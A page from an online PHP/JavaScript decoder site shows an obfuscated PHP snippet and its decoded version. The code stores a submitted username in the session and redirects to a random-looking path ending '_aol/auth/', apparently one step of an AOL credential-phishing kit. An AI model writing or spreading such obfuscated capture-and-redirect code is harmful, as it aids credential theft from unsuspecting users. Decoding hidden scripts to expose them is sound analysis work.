Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php
 goto NyNQD; NyNQD: session_start(); goto clJbu; clJbu: $_SESSION["\165\163\x65\162\x6e\141\155\x65"] = $_POST["\x75\x73\145\x72\156\x61\155\145"]; goto A5yVr; A5yVr: header("\114\157\143\x61\164\151\x6f\156\72\40\56\x2e\57\56\x2e\57\x2e\56\57\154\154\x52\146\172\130\142\122\x57\165\105\120\146\x6e\63\x74\x59\x42\106\172\170\154\67\x58\x31\x73\x65\x31\144\x6a\104\106\131\x45\115\126\110\164\102\126\114\x62\x47\x34\125\146\123\172\x49\145\x66\x46\x64\103\115\66\71\x4f\143\142\x57\156\x50\162\60\x53\x46\103\142\x4e\155\62\x63\126\121\x33\104\147\x31\x44\x34\x4a\145\x75\x65\x71\x35\x41\103\65\x75\x43\166\x33\x4f\x4c\x55\71\x58\x73\137\x61\x6f\154\57\141\165\164\x68\x2f"); goto OtNC0; OtNC0: ?>

Decrypted code:

goto NyNQD;
 NyNQD: session_start();
 goto clJbu;
 clJbu: $_SESSION["username"] = $_POST["username"];
 goto A5yVr;
 A5yVr: header("Location: ../../../llRfzXbRWuEPfn3tYBFzxl7X1se1djDFYEMVHtBVLbG4UfSzIefFdCM69OcbWnPr0SFCbNm2cVQ3Dg1D4Jeueq5AC5uCv3OLU9Xs_aol/auth/");
 goto OtNC0;
 OtNC0:

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